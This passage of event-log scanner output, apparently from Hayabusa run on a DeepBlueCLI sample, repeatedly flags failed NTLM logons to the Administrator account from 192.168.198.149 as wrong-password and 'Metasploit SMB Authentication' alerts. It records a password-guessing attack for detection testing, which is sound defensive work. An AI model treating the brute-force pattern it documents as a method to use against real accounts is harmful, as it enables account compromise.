Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7avpgQeA0KCIme9Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YFgmt3OEw4cDfPhG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.214 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OqITdE5K63nJg9tg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.214 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zBs4fYCiprxgDd43 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.306 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtBD0Q2szeURxMYA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.355 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.502 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KPUi2NhPP92Rs3hy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.502 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PrbMf9E0fOuwIB8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.561 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.613 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 807zsxQ9WETO9YIp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.613 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGMJKRYUlmijJV40 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xv33to031A0fQzX2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.706 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IT0bzycur7HXFeLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.753 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kyY2K7tT0HgQ1ZL3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6aexuFPH6FyEZ1bN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o8Iojas6sznqlYUE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U2SnliYkmx59ACSM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2plWY1GZHilHv5Vh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.971 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XIfmqihMJdPVz80p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.005 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Odg692Eyde8md0t7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.047 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gsQNvf5HkRQnbDul : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: il2DGq3bzfwGuJN4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.134 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.183 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9OsQFOcIyougrx0E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.183 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gR8wpQrGYzd4NrBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KFjRsjWXbEPs9m1I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.282 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wbjudOy3rWefzAIv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Q4gc8keCTv2HeE3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.360 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SmsaxHrHYuofUhAH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.414 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CvhWasTJYmChfsNU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DszGfEo9aua2y5UC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.497 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lZPScjxczbrcJuvJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucpjxJV4rBXOxy4e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BmTtDfX05VsKFrON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.636 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhWSUkQhv089RSfJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i8RXCiXQYgjuPO78 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.729 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfB3u3Np38FOw6hc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.773 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I9GcSmto4jdCIw6H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HsogJdHUcldt7JeH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IUbkohKtCy6joOBY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.954 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9ZFyYxBrKnz652Co : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.954 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQ2MHr71xALFHJqN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.001 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cgjHOgEYRLQiJX75 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QXLjSNCeDAaX4ttQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: np6hwdqnWLJawVn9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.137 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: adqqChrYx3lZ0BAa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1GTXkOnNYTws1MiC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5QUvFvCM6AJhKjXe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.266 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NiVgC8oJ5W2Xr3t0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.304 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hXfhdrbLnNOGDqy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 